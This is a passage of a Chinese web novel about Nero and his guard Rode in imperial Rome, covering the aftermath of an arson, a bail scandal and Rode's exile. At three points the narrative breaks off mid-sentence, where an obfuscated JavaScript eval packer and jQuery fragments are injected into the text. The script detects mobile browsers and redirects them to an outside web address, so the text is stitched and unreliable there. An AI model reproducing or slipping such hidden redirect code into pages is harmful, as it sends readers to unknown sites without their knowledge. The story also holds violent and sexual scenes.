“是的,不过卑下的我可不敢直说这位大人的名字。”乐师说,“他任用刺死舅父的罪犯的儿子作为亲卫,赋予他尊贵的职位,买通法院对他百般维护。这要换作一个正常的政治家,早就处死一个败坏前途的仆人了。”
尤利乌斯嗤一声,一脸嘲弄的笑容。
“据说他们的关系不一般,有人曾撞见他们在马车里接吻。而且……”乐师意味深长地笑了笑,“伺候皇帝的奴隶亲口告诉我,多米提乌斯大人是因为他才拒绝与公主通婚……”
尤利乌斯咀嚼着葡萄,把腿搭在阉奴的肩上,让他给自己按摩。
“之前我的别墅着火时,我见过他的亲卫。但当时我喝醉了,没看清他的样子。”尤利乌斯回忆道,“只记得他是黑发黑眼……”
“噢,他带动了罗马时尚的风潮。”乐师接过话,“很多大人把自己染成银发,把宠幸的奴隶染成黑发,广场上到处走着跟风染发的主奴,现在流行这个。”
乐师笑着说:“托他们的福,最近理发师赚得盆丰钵满,留着黑色长发的男妓有排成长队的客人。剧院里的演员编排了许多影射他们的讽刺剧,几乎场场满座。”
尤利乌斯揶揄道:“看来最近罗马的经济,是克劳狄乌斯统治以来,空前繁荣的时候。”
“谁说不是呢。”乐师笑了笑,重新弹奏起里拉琴。
这时,一名家奴走进来,跪下禀告说:“主人,有一位声称是您老朋友的人在门口,摇了很久的铃铛,坚持要见您。”
尤利乌斯眼也不睁,“那就让他进来,给他铺一张沙发。”
家奴犹豫道:“可是那人……表现得很不正常。他的袍摆沾满了鲜血,头发乱糟糟的,看起来很落魄。只有手指上的旧戒指能证明他曾是一个贵族。”
“袍摆上有血?”尤利乌斯闭着眼说,“说不定是一个被追杀的贵族,想来投奔我,直接赶走这个想吸血的寄生虫就好了。”
家奴叹气道:“我们也驱赶了他,可是根本赶不走。那人还说,他特地为您准备了礼物,您一定喜欢。”
尤利乌斯睁开眼,挥开女奴喂葡萄的手,从沙发上坐起来,一脸不耐烦。他脚下的阉奴很有眼色地起身,在他臃肿的背上披一件御寒的羊皮。
尤利乌斯用毛巾擦掉嘴角的葡萄汁,瞟一眼家奴说:“出去看看。”
……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239672|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>别墅门打开时,一个消瘦的身影就困在门框之内。
微弱的灯光下,那人裹着一件单薄的长袍,在寒风中瑟瑟发抖。他过于瘦弱,远远看着就象由一根木棍支起的破布。
尤利乌斯由家奴扶着走过去,在夜色中眯着眼,费劲地看向门口。
家奴手提的灯火越来越近,逐渐照亮来人。
首先映入眼帘的,是斑驳的鲜血。这人的下半身渗出一大片触目惊心的血红,袍摆还在往下滴血。随着灯火靠近,他的脸被照亮,面色象石灰一样青白,脸颊宛如涂抹了阴影一般,凹陷到骨缝。
尤利乌斯一开始没认出这是谁,直到他无意间瞥到这人手上的戒指。
他瞬间酒醒大半,脸皮发麻,从意识深处生成一股寒意。他受到了惊吓,冷汗象得到空气和水分的苔藓一样迅速长到整个后背。
“我的老天爷……是门希……”他涨红了脸,脸上的横肉抖动着,“你看起来就象一只被车轮拦腰轧断的流浪狗!”
门希看起来还很镇定,除了因为失血而冷得发抖,他没有表现出什么激动的情绪。
“好久不见了,尤利乌斯。”他苍白的嘴唇颤抖着,“你现在看到的,是你落魄的老情人。”
尤利乌斯从家奴手里夺过灯火,凑过去照亮门希的脸,反复确认,嘴里一直嘀嘀咕咕。冰冷的汗水从他的额头生出,顺着皱纹,流进他枯燥的鬓发。
门希站得笔直,用薄薄的嘴巴扯出一个微笑,凹进去的蓝眼睛在夜色里难以看清。
“年少无知时,我曾与你有过一段感情。尽管时间很短,但那也是一段纯情的时光,不是吗?”他以淡漠的语气说。
尤利乌斯用手擦掉脸上的冷汗,盯着他的眼睛说:“你来干什么?”
门希裹紧长袍,抖着嘴唇,悠然地笑道:“知道昨天夜里的那场火灾吗?”他顿一下,“是我放的火。”
这句话被他轻柔地说出口。尤利乌斯听到这话时,仿佛被强行灌入一口难以消化的食物。他直直地瞪着门希,长期被酒精熏染的脑子缓慢地转着。许久,他才反应过来。
他几乎是在尖叫:“老天爷!你为什么要这么做?!”
“我想回到贵族身份,需要大量的地产和金钱。”门希冷静地说,“我向大贞女借来燃料纵火,原本计划以组织奴隶营救的条件,低价买下着火的房子。但没想到……”
他猛地抖一下,继续道:“没想到火警队就在附近,遣散了我的奴隶,打断了我谈价的过程。我的计划失败了。共和国时代的克拉苏就是这样变相谋得地产,从而成为罗马的首富。我效仿他,命运之神却不待见我……”
尤利乌斯激动地大叫:“你疯了!你这个疯子!现在是皇室专|权的帝国时代,与庞培、恺撒齐名的克拉苏是识时务的英雄,不会象你这样被眼前的困境冲昏头脑!”
门希僵硬地笑了笑:“或许吧,我是个愚蠢的人,是个冲动的人。曾经的我,也是与卡里古拉并肩作战的将军。而如今,我扔掉脸面和自尊,来寻找你的庇护……”
“纵火可是要剥皮灌油的重罪!”尤利乌斯喘着粗气说,“我不能接纳你。你会让我惹祸上身!”
“你必须接纳我,尤利乌斯。”门希阴冷地笑,“为了表明我的真诚,我向你坦白了一切。”
“你不能拿你单方面的付出绑架我!我不可能接纳你!”尤利乌斯冷汗直流,指着门希的脸说,“出于私情,我不会向法院揭露你。你快从我家离开……”
门希忽然上前一步,手掌捂住他颤抖的手,好象撒娇的宠物用毛绒绒的脑袋磨蹭主人的手心一样,他用下巴去蹭尤利乌斯汗湿的手。
他的胡茬,象小猫柔软的胡须一样,扎得尤利乌斯痒痒的。
“还记得吗?”门希放低声音说,“以前你最喜欢我这样做。你希望我象一只乖巧的小猫一样黏着你,希望我象一个只会纺织的女人一样崇拜你。可是以前,我担任过万众跪拜的祭司,带领好几个罗马军团,年轻气盛的我根本不可能那么做……”
“哦不……”尤利乌斯不禁动摇,下意识地去反握他的手,“别说了,门希……”
“我曾经唤你为尤利尔。”门希靠到尤利乌斯的颈窝里,小声说,“你叫我门迪,记得吗?那是我们对彼此的爱称……”
“哦,门迪……”尤利乌斯浑身发抖。
他对上初恋的蓝眼睛,那里散发出湖水般的蓝绿色。尤利乌斯不禁入了迷,凭借这双蓝眼睛,他仿佛跨过时空一样回到过去,回到没有被功利拖累的少年时代,宛如返老还童。不同阶段的人生中,都会有不同的心仪之人;在回忆这些人时,与其说是怀念他们本身,不如说是怀念曾经为之疯狂的自己。
“我还为你准备一件你不可能拒绝的礼物……”门希柔声说,“你想看看吗?”
“你准备了什么?”尤利乌斯象一个青涩的少年,脸上出现企盼的神色。
门希笑道:“我自己。”
说着,他打开一直紧捂的领口,将衣袍下血肉模糊的身体完全暴露出来。
尤利乌斯瞪大双眼,倒吸一口凉气,象被雷电劈过一样动弹不得。
门希在冷风中颤抖着,挤出一个勉强的微笑:“我阉割了我自己。”
56. 庄园的夜晚
闹市区的火灾已经过去了一个月。
对于低生育率的罗马城,两百多的伤亡人数是帝国成立以来的巅峰。
然而,比火灾伤亡还要让人目瞪口呆的,是尼禄为罗德交付的巨额保释金。
作为掌管消防的长官,罗德在免职之后,被法院处以终身监|禁的刑罚。治罪那天,尼禄以保证人的身份同他一起出庭,当场以十万奥雷的金额,将罗德保释回家。
奥雷是罗马货币中最值钱的,用黄金铸造。十万奥雷,相当于一千万青铜铸造的赛斯特斯,足以在罗马的中心地带买下十座广场。
这件事迅速传开,很快成为最流行的演讲素材,以主奴和保释金为题材的戏剧和音乐也得到前所未有的创作。一些新潮的新婚夫妇,会在结婚誓词里加入“你是否愿意为我支付保释金”这句话。
马车里,尼禄被颠得头晕脑胀。他把木制的窗帘掀开,深吸一口冰冷的空气。冬季里山毛榉树的涩苦味通过鼻腔,灌进整个肺部。他清醒许多。
尼禄刚从元老院出来。面对数十个白袍元老的轮番弹劾,他象一个罄竹难书的被告一样被堵在演说台上,差点招架不住。
终于抵达家宅,尼禄踩着车夫的背跳下车板,一转身,被家门口的景象惊住。
十几个衣衫破烂的贫民躺倒在别墅前,拖家带口,有不少妇女和儿童。他们骨瘦如柴,指甲缝和皮肤上满是脏土,好象一块块晒干的烂肉那样横陈在街道中间。
“这些人是谁?”尼禄冷漠地扫视过去。
迎接他的家奴端来一盆用来洗手的温水,回答道:“是在火灾里失去公寓的贫民。他们不满皇室的赔款,又不敢当面和政府对峙,只能躺在家门口抗议。”
尼禄冷笑一声,“贪婪的贱东西!政府的赔款,足够每个家庭买下一套独立的平房。”
他洗好手,面无表情地走过他们,“这些人就象吸附地面的蚂蟥。”他阴沉地说,“让我的厨师拿出库存里所有的盐,调制成浓盐水泼在他们身上,蚂蟥们会自动掉下来。”
家奴愣住:“您确定要这么做吗?”
“没用烧开的滚油,已经是宽恕了。”尼禄擦干净手,把用过的毛巾丢到他肩上。
家奴噤声,默默瞧主人一眼。
自从罗德搬到偏远的庄园,他的主人仿佛失掉一部分人性,做的所有决策都带着一股戾气。
尼禄换上专门在家里穿的半筒软靴,一边穿梭在榕树垂落的树须里,一边对家奴命令道:“在浴池里灌满洗澡水,准备皂角、修甲石和橄榄油。让洗衣奴务必在日落之前熏香我的红托加和兔毛筒靴。还有,让那几个聒噪的女奴搭配好我的首饰;我畜养这帮奴隶,不是为了让她们整天和罗德套近乎!”
家奴疑惑道:“您盛装打扮,是要出门吗?”
尼禄忽然停步,通过树须的缝隙瞪家奴一眼。他伸出手,抓住一把棕褐色的树须,再顺着树须往上摸,勉强够到罗德经常躺的那支树干。
在指尖碰上坚硬的树皮时,尼禄仿佛与神明获得了沟通,脸上展现出一个近乎圣洁的微笑。
这是这一个月来,家奴第一次看见主人露出一点人情味。
“备好马车……”尼禄小声说,“今晚我要去趟庄园。”
……
罗德自打搬来庄园,本身就是近卫的他还被几十名保镖日夜卫护,饮食起居由一批奴隶照顾,过着等同于软禁的生活。
在这种环境下,他无聊到开始种菜和养鸡。
按照他的指示,奴隶买来锄头和铁锨。罗德用铁锨刨掉蓝紫色的矢车菊,改种卷心菜和萝卜。他把天井晒干,将叽叽喳喳的雏鸡圈养在天井里。这群毛茸茸的浅黄色生物,白天捡食麦皮,晚上象聚拢的云朵一样挤在天井一角。
夜晚,菜园竖起一圈火把。罗德借着黯淡的火光,给他养的萝卜一颗颗浇水。
奴隶提着灯火上前,小心翼翼地开口:“您该回去休息了。”
罗德倾倒水壶,头也不抬,“不急,还有一半萝卜没浇上水。”
奴隶脸色为难。寒风中,他手里的琉璃灯被吹得乱晃,彩色灯罩过滤出来的彩光随之在萝卜地里晃动。
“可是……”奴隶结结巴巴,“刚才家宅送来口信,说主人今晚要过来。”
罗德顿一下,放下手里的水壶,眼神有难以察觉的忽闪。
“回去吧。”他的声音在山顶的风啸声中很微弱。
……
奴隶在木桶里倒好热水,滴入名贵的东方香油。罗德在带着香味的洗澡水里草草泡一会,连水珠也不擦,套上睡衣走向卧室。
突然,卧室门内蹿出一个人影。出于长期格斗养成的习惯,罗德拽过他的手腕,但也仅此而已,没有做任何回击。
尼禄不禁愣住,只看见罗德闭着眼睛,没什么表情,直直朝自己倒过来,宛如一个厌世的自杀者,决心跳崖一样倒进他的怀里。
尼禄抱住他,没来由的感到一阵冷意,好象命运举起屠刀时,连带刮起的一股刀风。
出于某种神秘而不可说的直觉,尼禄无缘无故感到惶恐,象在挽留一样,呼唤他的名字:“罗德!”
罗德鬓发湿透,打成发绺黏在脸侧,象流淌的水墨。他睁开眼,眼神凌厉又清明,两睫之间的瞳仁散发出动人心魄的黑光。
他仔细打量尼禄的脸,从高耸的眉骨,经过鼻梁上的雀斑,再到轮廓明显的下颌。罗德湿润的睫毛微微抖动,一直在沉默,仿佛反复品味一样,过了很久才开口道:“为什么过来?嫌闲话不够多吗……”
尼禄没说话,直接吻上去。
守在门外的奴隶心照不宣,相互对望一眼,很有眼色地把纱织门帘关上。
尼禄拨开罗德脸上的湿发,激烈地亲吻他。嘴唇相贴的这一刻,他感到饥饿。他抱住罗德的腰,急切地把他抵在墙壁上。罗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239673|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
德脸上的水迹反射出旧金箔的颜色,接吻造成的窒息让他眯着眼呼吸,胸膛在半湿的睡衣后透出来。
久埋在人类心灵底层的、类似野兽的热血支配了尼禄。他一口咬在罗德的脖颈,用力吮吸覆盖在颈动脉之上的皮肤。
罗德脸色潮红,双手攀住他的肩膀,推阻着他,“别太激动,尼禄……”
尼禄眼睛发热,出于本能地吞咽一下。他素来将自己定义为受外界左右的被动者,而只有在面对罗德情到浓时,他才觉得自己真正掌握了自己。爱情不是以占有和控制为标志的自我封闭,而是自我解放,是打开人性自由的第一步。
因此他明知道罗德会让他失去一切,但他仍要向命运下战书。
“趁着夜深人静,瞒着家里大部分奴隶,特地挑鲜有人走的小道赶来见你。我们就象在偷情,既憋屈又刺激……”尼禄在他耳边说。
罗德笑笑,捧住他的后脑,凝视他。他们鼻尖相抵,鼻息的热意渗透彼此的皮肤。尼禄灰黑色的睫毛扎在罗德眼睑,他的雀斑、涨红的眼圈、粗重的喘息在罗德的视野里无限放大,象神谕一样强硬地钉进灵魂;尼禄渗进他灵魂里如此之深,以至于这一刻他盘问自己究竟是尼禄还是罗德。
尼禄将脸埋进他的颈窝,亲一口他的肩颈,用那种明知故问的语气问道:“你为什么总是看我?”
“很久没见,想看看你的样子。”罗德说,“你一点没变。”
尼禄解开他睡衣的系带,手掌揽住他的后腰,猛地向怀里一收。两人的小腹撞着紧贴一起。
罗德攀在他肩上,宛如酩酊,表现得很顺从。
“今晚我要在这里过夜!”尼禄宣誓一样说道。
罗德眼前晃成一片,燥热的皮肤分泌出汗液。他回到人类的本真,纯朴而热烈,那是鸿蒙初辟时一无所有又拥有所有的状态。性的终点不是奔向欲望,而是回到纯真。
等他回到现实,两人已经躺到床上了。
在壁炉的柔光下,罗德的肩膀水珠密布,漫射出金琉璃的色泽。尼禄仿佛着了魔,凑近一些去舔他肩膀的水珠。
罗德平复呼吸,忽然握住他的手,“尼禄,答应我一件事。”
尼禄怔一下,无缘无故感到恐慌,“你说,我都会答应的。”
罗德顿了顿说:“我要你帮我拿到近卫军长官的金剑,然后毁了它。”
尼禄回想着,脑海里出现一个模糊的形象,“是那个……长得很奇怪,刀刃象牙齿一样的剑?”
罗德点头道:“这是我的舅父临死之前交代的事,是他的遗言……”
尼禄莫名感到慌乱,下意识搂紧他的腰,“这件事不难,你也可以做到……”
罗德没接话,而是翻过身,倚靠进他怀里,“我们一个月没见了,只有一次根本满足不了我,也满足不了你。”他用指尖点在尼禄汗湿的后背,“我们还需要第二次,第三次,第四次……”
57. 暂别
自从彻底和尼禄撕破脸,克劳狄乌斯更加急切地寻找一个新储君。
他每天都要举办灯火辉煌的晚宴,邀请所有年轻的贵族参加。他的女儿屋大维娅每晚都会盛装出席。
克劳狄乌斯希望通过晚宴物色下一任皇帝,同时也是他的女婿。
屋大维娅坐在铜镜前,十几名女奴围着她,给她染头发、修脚和化妆。
女奴将碾成泥的鳄梨肉和鸽子粪搅和一起,用梳子涂抹屋大维娅的头发。鸽子粪颜色金黄,臭味很淡,专门用来染金发,价格非常昂贵。有的贵妇甚至饲养鸽子,只为有足够的染发剂。
阿格里皮娜从女奴手里接过小碗,亲自为屋大维娅染头发。退下来的女奴往主人头上喷香水。
“这段时间流行金发。”阿格里皮娜冷淡又礼貌地说,“金发会让你看上去精神非凡。”
屋大维娅看着铜镜里的自己说:“我好象变漂亮一些了。”
阿格里皮娜从她的鬓边挑出两缕头发,用手指绕成波浪形,“美丽的头发是一个女人健康、有生育力的标志。你会遇到一个慧眼识珠的男性的,屋大维娅。”
屋大维娅往前附身,用手背砸了砸自己的驼背,忧郁地说:“头发再多再美有什么用呢,男人们一看到我的身材和容貌,就会对我兴趣全无……”
阿格里皮娜挪开她的手,“可是你读过书,能流利读写希腊语和拉丁语。在罗马,识字的女人比能制作紫色染料的贝壳还要稀有。”
屋大维娅从铜镜窥看她的继母。阿格里皮娜妆容素淡,臂膀结实而圆润,厚实的白裙子及脚踝,黄金腰环箍在丰腴的腰间,气质庄重令人尊敬。
和她的母亲麦瑟琳娜完全相反。
屋大维娅一下子红了眼睛,“你真好,阿格里皮娜,不像我的母亲那样整天叫我织毛纺布。她喜欢否定我,总拿我的外表取笑我,说我手脚笨重不会干活,不能取悦男人,注定是个废物……”
阿格里皮娜拍拍她的肩膀,“女人的最高成就不是取悦男人。”
屋大维娅睁大眼睛,“那是什么?”
阿格里皮娜将手搭上她的双肩,望向铜镜里的自己,轻声说道:“是超越‘女人’的性别,是消除‘女人’这个称呼。”
屋大维娅缩了缩脖子,畏首畏尾的样子,“哦……这是不可能的。我能得到一个疼爱我尊重我的丈夫,就足够幸福了。”
阿格里皮娜给她围上羊毛披肩。屋大维娅脖子粗短,下巴紧紧压着披肩。
“你该去挑选你未来的丈夫了,屋大维娅。”阿格里皮娜牵起她的手,四周的女奴围过来,将屋大维娅的裙摆折出优美的褶皱,“外面的晚宴有许多年轻人。虽然有的是骑士,但都只喝掺水的葡萄酒,不是什么暴发户。”
屋大维娅跟在她身后走着。又矮又驼背的她,象一只跟在主人屁股后面的宠物。
她偷偷瞅一眼阿格里皮娜的背影,忽然站住,小声说道:“阿格里皮娜……”
她的继母停下脚步,回过头,从尖锐的眼角瞧着她。
“你真的甘心吗?我是说……你的儿子……”屋大维娅犹犹豫豫,“你知道我的婚姻意味着什么。”
阿格里皮娜愣一下,接着扯了扯嘴角,礼貌地说道:“别想这么多,屋大维娅。今天可是你的好时候,我和尼禄都应该靠边站。”
她们走到客厅,克劳狄乌斯侧卧在沙发,侧边的沙发上有十来个青年。
青年们衣着鲜亮,头发梳理得油亮。他们安静地吃着饭,老实遵从皇室的规矩。连元老院都没去过的他们突然受邀来到皇宫,在陌生的皇帝面前,这顿饭他们吃得战战兢兢。
克劳狄乌斯的餐具都是银制。这是防止投毒的手段。
“快躺到我身边来,我的屋大维娅。”克劳狄乌斯向他的女儿举起酒杯,眼明手快的奴隶随即给高举的银杯斟满酒,“主位沙发可以让你对所有人都一览无余。”
青年们抬起脸,齐刷刷地朝这边看过来,好象一只只竖起脖子、等待投食的鹅。
阿格里皮娜脸上没表现出任何表情。她转过身,往帘幕后的厨房走过去。
“你也躺下来,阿格里皮娜。”克劳狄乌斯叫住她,“今天是屋大维娅一生中最重要的日子。她需要一个母亲在场,给她一些指点……”
“烤蜗牛和鹅肝数量不太够。”阿格里皮娜指着餐桌说,“我是皇后,也是这个家庭的主妇,不能让客人饿着肚子。”
她轻轻抬着步子,走进帘幕后头的厨房。
客厅里安静又尴尬地吃了一会。
克劳狄乌斯把一片蒜烤蘑菇捏进嘴里。
“阿斯,”他叫了其中一个青年,“你担任法官也有三个月了吧。”
名叫阿斯的青年是这群年轻人之中唯一一个元老阶层,是最有政治前途的一个。他只有十五岁,刚刚成年就子承父业,父亲是德高望重的法官。
克劳狄乌斯有意提点他。
皇帝吞掉蘑菇,翻着眼皮瞟阿斯一眼,忽然愣住。阿斯的前额缠着绷带,战战兢兢地看向自己,腮帮子里的食物都没来得及咽。
“你的脸是怎么回事?”克劳狄乌斯惊道,“你看上去一点也不象法官,而象一个被打败的小兵!”
阿斯把嘴里的蜗牛肉囫囵吞下,回答道:“这段时间不太平,我的君主。每天都有平民围在法院门口,张口闭口就是拉丁姆的火灾,朝我们扔带血的玻璃渣。为了疏散他们,我们不得不向军队求助。”
克劳狄乌斯只觉得头疼,“据我所知,行政官已经给平民拨了款。”
阿斯局促,稚嫩的脸上露出不安,“其实……人们质疑的并非火灾本身,而是火灾的原因至今都未查明,火事总长却免于刑罚的事实。”
克劳狄乌斯仿佛早已预知,气恼地哼一声,对嘴里的食物大嚼特嚼。
阿斯小声说道:“我们还要雇佣公共奴隶清理街道,从浴场的池檐到贫民窟的下水道,每一堵墙都刻着人们的调侃。他们大骂腐败,用尽世上所有词汇来骂我们。”
克劳狄乌斯不禁震惊,停下咀嚼的动作,“民间的舆论竟何以至此了吗?!”
阿斯垂下头,小心翼翼,不知该怎么回答。
克劳狄乌斯逐渐正色,前额的青筋象苏醒的虫子一样慢慢鼓起。他越想越气,手里的汤匙摔在银盘上。
“我年老体衰,距离死亡的时间太短,轻易不敢发指令。我对羽毛一般的罪恶视而不见,就怕严厉的决策让我晚节不保。”他激愤地说,“但现在,人们藐视政府,唾弃法律!这是罗马的耻辱,是奥古斯都的耻辱!就连我这个老人也看不下去尼禄无原则的庇护……”
提到尼禄,他忽然顿住。
一种阴暗的欣喜在他心里掘地而生,好象阴沟的脏水汇入大海那样,与他表现的光明正大的愤怒融合了。
克劳狄乌斯一阵激动,偷摸地攥紧拳头。
阿格里皮娜就站在帘幕后,手里端着一碗从东方进口的胡椒酱。她的叔父最喜欢用烤蘑菇蘸酱吃。
克劳狄乌斯情绪激动,颤颤巍巍地站起身,将隆起的肩背挺到极限,“我要以皇帝的名义,给失职的火事总长治罪!按照法律,但凡失职的官员,都要流放到叙利亚行省去!”
他早就痛恨尼禄,又碍于阿格里皮娜的面子不敢直接惩处他,就打算趁这个机会流放他的心腹。
这是皇帝对尼禄的报复。
阿格里皮娜冒出来,端来胡椒酱,按照贤妻良母的模范动作,把酱汁浇在丈夫餐盘里的烤蘑菇上。
“胡椒是从东方进口的。”她微笑着对正胡思乱想的皇帝说,“它价格昂贵,您就象在吃一张丝国进口的丝绸。”
克劳狄乌斯忽地变怂,缩了缩脖子,象一只被打到头的乌龟。经历过麦瑟琳娜后,他习惯于对妻子卑躬屈膝。
皇帝软言细语地道谢:“哦……谢谢。”
他怕阿格里皮娜听到自己对尼禄的抱怨。从小敬畏优秀的哥哥、活在哥哥阴影下的克劳狄乌斯,对哥哥的女儿有着来自血脉的畏惧。
“阿格里皮娜……”他试探着开口,“我打算流放尼禄的亲卫。”
阿格里皮娜停住动作,不慌不忙,安静聆听他说话。
“你也知道,尼禄的巨额保释金已经引起一场地震。作为尼禄的继父,我本想睁一只眼闭一只眼,但没想到舆论恶化到这个地步。不过……保释金我会命令法院退还,之前尼禄修理毁于洪水的房屋,还是向你借钱才渡过难关,我知道他其实并不富裕……”
他偷偷摸摸瞅阿格里皮娜一眼。
“您是皇帝,有权左右罗马境内任何一个生命。”阿格里皮娜莞尔一笑,“更何况,我只是一个女人,您不必对一个天性懦弱的女人报备事务。”
她顿了顿,笑着补充一句:“从今以后都不必这样做。”
克劳狄乌斯连连点头:“谢谢你的理解,阿格里皮娜。”
他捏起一片烤蘑菇,在胡椒酱里滚一圈,伸长脖子,就象小鸟衔食那样,把他最爱的蘑菇衔进嘴里。
“屋大维娅,你也尝尝,这大概是我吃过的最鲜美的胡椒汁。”克劳狄乌斯为女儿送去一片蘑菇。
屋大维娅用长长的蟹钳接住,嗖一声把蘑菇吸进嘴里。
阿格里皮娜转身,从厨师手里接过一碟鱼肉,端到克劳狄乌斯面前。
“这是加了马齿苋汁的鱼肉泥。”阿格里皮娜说,“马齿苋可以延缓衰老,您一定会长命百岁的。”
躺在一边的屋大维娅伸出长柄匙,也想分一块鱼肉。
她的汤匙够到一半,被阿格里皮娜用刀子拦下。
“你不能吃这个,屋大维娅。”阿格里皮娜说,“你即将结婚,现在就要准备怀孕。一个备孕的女人是不能吃马齿苋的。”
屋大维娅羞红满脸。她用余光扫一眼侧位沙发的青年们,把脸藏到红蟹钳后面。
……
尼禄得知罗德被捕时,还在元老院对着十几名白袍元老辩论。
他从元老围成的人墙中挤出来,情急之下花大价钱购买一辆速度最快的双马马车。
之前,山脚被洪水淹没。为了上山,尼禄在水上建了一座简易的木板桥,直通半山腰。
重甲银盔的近卫军在桥边站着,沿着山腰一直排到山顶,象排成两路的黑蚂蚁。
尼禄跳下马车,脸色苍白,神情狰狞。他没来及换衣服,还穿着洁白的元老袍。
一名大胆的近卫军拦下他,“您不能上去,多米提乌斯大人。皇帝下令……”
尼禄从腰间抽出匕首,直接扎进他的咽喉,迅速拔出刀。
近卫捂着血涌的脖子,跪倒在木板桥上,脸上保持着惊讶。
尼禄用白袖子擦掉脸上的血,一声不吭,提着带血的匕首往山上走。没有人再敢拦他了。
周遭拢起一片迷雾,雾水沾湿他的额发。尼禄在白雾里越走越快,到山顶时,雾到最浓,白袍的他象一口白烟吐进烟雾里。
四周愈发浓白,简直象一锅熬烂了的鱼汤。
“罗德呢……”他气喘吁吁地发问。
一阵脚步从雾障后传来,一片浅淡的黑影出现,就象黑墨透过一层层纸那般,逐渐显现出来。
罗德被一帮近
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239674|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卫簇拥着,黑衣黑发,两只手腕捆在一起。他的黑色眉目,以及宛如朱砂勾勒的双唇,象凭空画在纸上的图画一样,印在白雾之间。
他与尼禄对视一眼,神色出奇地镇定。
押解罗德的,是个蓄着络腮胡的近卫。
尼禄认识这个近卫。这人跟随皇帝多年,算是他的心腹,地位相当于近卫军长官。然而,多疑而胆小的克劳狄乌斯因为卡里古拉的死,没有授予他正式的头衔。
尼禄握着刀柄的手不停抖,下巴也是,冲络腮胡说道:“把你的手从他肩上拿开!”
“这是皇帝的命令,多米提乌斯大人。”络腮胡淡定地说,“我们必须把他送到叙利亚去……”
“给我闭嘴!”尼禄红着眼睛说,“他是我的亲卫,是属于我的财产。除了我,谁都不准动他!”
“现在他不是您的亲卫,大人。他是罗德·法恩。”络腮胡说,“他是罪犯的儿子,现在又因为失职导致火灾。流放已经是减刑了。”
“我交过保释金,以我的官职和家产做过担保。”尼禄高声道,“就算是皇帝,也不能出尔反尔流放他!”
“皇帝对任何人的任何财产都有任意处置的权力,大人。”络腮胡说,“您不能违抗皇帝的命令。”
“我会与皇帝商量,”尼禄克制着情绪说,“他一定会改变主意的。”
络腮胡没有表情地说:“我是一个只会执行命令的武夫,您与我辩论是没用的。我们今天一定要带走他。”
“你……”尼禄用匕首指着他,刀尖在雾气中抖动着。
雾气越来越浓,缭绕在尼禄的耳鬓。山风很冷,他却热血上头出一身汗。这种诡异的、又热又冷的感觉,仿佛一只体魄寒冷的鬼在朝他耳边哈热气。
“别再挣扎了,尼禄。”罗德开口说,“你放我走吧。”
尼禄双手紧握刀柄,面色铁青,“任何人都不会带走你!任何人!”
罗德看着他又青又红的脸,转头对旁边的络腮胡说:“我要跟我的主人单独说话。”
络腮胡沉默一会,深沉地说:“你们只有半小格水钟的时间。”
“几句话而已。”罗德笑笑,“够了。”
于是黑压压的近卫军往两侧列开,腾出一条细细的小道。罗德领着尼禄走到空旷的崖边。
罗德伸出被捆绑的手腕,凭空抓一把白雾,“让我跟他们走吧,尼禄。”
尼禄牵过他的手,相当冰冷。他们的指间还戴着之前定制的金戒指。
“不,没人能把我们分开。”尼禄用刀尖指了指天,“就连神也不能。”
罗德笑道:“只是流放而已。或许是去矿区做苦力,又或者是看守庄稼地……”
“不,你没去过叙利亚,你不懂那里的境况。”尼禄正色道,“流放的犯人,没一个活过一年。那里充斥着饥饿、暴力和劳苦,而生活的黑暗会滋生堕落和犯罪。一向身份优越的你,定会成为恶人的眼中钉。你受不了的,罗德。”
尼禄抱住他的双肩,笃定说道:“我要说服皇帝撤回命令。”
罗德垂下眼睛,望着脚边游荡的白雾,反问他:“你听说过有皇帝收回成命的吗?”
这一问扎在心上。尼禄宛如清醒,一时语塞。
“他让法院退还保释金。”罗德说,“你知道这意味着什么吗?意味着他铁了心要给我治罪,不惜跟以善辨为名的法院大费口舌。”
他深吸一口气,缓缓呼出,“承认吧,尼禄,罗马已经没有我的立足之地了。只要我还在这里,就会把你慢慢拉进和我一样的境地。”
尼禄果断说:“我不在乎。”
“可我在乎。”罗德说着,往山边迈出一步,“而且,我已经烦透了这样的生活。”
山顶的云雾在脚下滚动,宛如盛沸的镬汤。抬眼望向极远处,一道亮金的阳光紧咬天边,如熔化的金属一般焊接云天。
罗德凝视那道光,突然唤道:“卢修斯……”
这是尼禄许久之前的小名。他反应一会,应道:“怎么了?”
罗德仿佛没听见,自言自语道:“卢修斯……”
他眼睛低垂,脸庞染有天边的淡金色。尼禄一边望着他令人惊艳的气质,一边强烈预感到一场大劫即将到来。
悲剧的前提必须是美,本质是美不容于世。
“卢修斯……”罗德接着又唤一次。
尼禄莫名悲从中来,“我就在这,罗德。”
